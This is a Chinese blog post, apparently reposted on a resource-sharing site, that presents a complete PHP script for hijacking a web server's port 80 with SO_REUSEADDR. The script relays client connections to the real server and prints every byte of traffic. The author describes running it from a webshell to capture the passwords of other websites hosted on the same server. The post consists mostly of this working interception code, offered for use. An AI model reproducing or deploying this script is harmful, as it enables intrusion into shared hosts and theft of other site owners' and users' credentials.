也想出现在这里? 联系我们

利用php来嗅探劫持服务器数据

作者 : 小编 本文共3945个字,预计阅读时间需要10分钟 发布时间: 2021-06-5 共4.16K人阅读
也想出现在这里? 联系我们

前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。

需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于为什么不一样,我就不说了。

代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。

PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码: <?phpclass select{var $sockets;

// 构造函数function select($sockets){$this->sockets = array();

foreach($sockets as $socket){$this->add($socket);}}

function add($add_socket){//array_push($this->sockets, $add_socket);$this->sockets[] = $add_socket;}

// 利用临时数组来删除数组中的元素function remove($remove_socket){$tmp_sockets = array();

foreach($this->sockets as $socket){if($remove_socket != $socket){$tmp_sockets[] = $socket;}}

$this->sockets = $tmp_sockets;}

// 检查socket数组是否可读,传入超时时间,返回socket数组function can_read($timeout){$read = $this->sockets;socket_select( $read, $write = NULL, $except = NULL, $timeout );return $read;}

// 检查socket数组是否可写,传入超时时间,返回socket数组function can_write($timeout){$write = $this->sockets;socket_select( $read = NULL, $write, $except = NULL, $timeout );return $write;}}

// 网页不超时set_time_limit(0);

// 即时输出数据,不缓冲ob_end_clean();ob_implicit_flush(true);

if( !isset($_GET["listen_ip"]) ){exit;}if( $_GET["listen_ip"] == "" ){exit;}

$listen_ip = $_GET["listen_ip"];$listen_port = 80;

// 建立socket$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// 设置重复绑定socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);

// 明确指定绑定IP地址,优先获取数据socket_bind($listen_sock, $listen_ip, $listen_port);

// 开始监听socket_listen ($listen_sock);

echo "listen on ".htmlentities($listen_ip)." :".$listen_port."<br />";

// 创建socket数组,使用select来轮询$check_socks = array($listen_sock);

// 映射客户端socket和服务端socket// $socket_maps1将客户端socket作为key// $socket_maps2将服务端socket作为key// 以内存换速度,并且方便下面的搜索$socket_maps1 = array( );$socket_maps2 = array( );

// 实例化select类$select = new select( $check_socks );

while(true){/*print_r( $socket_maps );print "<br />";*/// select轮询,超时2秒foreach ($select->can_read(1) as $socket){// listen_sock可读,说明有人连接上来了if( $socket == $listen_sock ){// 接受新连接,并加入到轮训数组$new_client = socket_accept($listen_sock);$select->add($new_client);

socket_getpeername($new_client, $ip, $port);echo "New client connected: $ip, $port<br />";

// 建立到真实服务器的socket$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);socket_connect($server_sock,"127.0.0.1", $listen_port);

// 建立真实服务器socket和真实客户端socket之间的映射关系$socket_maps1[$new_client] = $server_sock;$socket_maps2[$server_sock] = $new_client;

// 添加到select轮询中$select->add($server_sock);

// $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发//select->remove( $listen_sock );}

// 其他socket可读,表示有数据需要中转else{// 读取数据,失败则从轮询socket中删除,并关闭socket$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);if ($client_data === false){socket_close( $socket );$select->remove( $socket );echo "client disconnected.<br />";

continue;}

// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据if( in_array( $socket, array_keys($socket_maps1)) ){//echo "readed from client.<br />";if( ! socket_write( $socket_maps1[$socket], $client_data ) ){socket_close( $socket );socket_close( $socket_maps1[$socket] );$select->remove( $socket );$select->remove( $socket_maps1[$socket] );print "Write to server error.<br />";}print htmlentities($client_data)."</b><br />";}// 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据elseif( in_array( $socket, array_keys($socket_maps2) ) ){//echo "readed from server.<br />";if( ! socket_write( $socket_maps2[$socket], $client_data ) ){socket_close( $socket );socket_close( $socket_maps2[$socket] );$select->remove( $socket );$select->remove( $socket_maps2[$socket] );print "Write to client error.<br />";}print htmlentities($client_data)."</b><br />";}}}}

?> 这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 利用php来嗅探劫持服务器数据

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录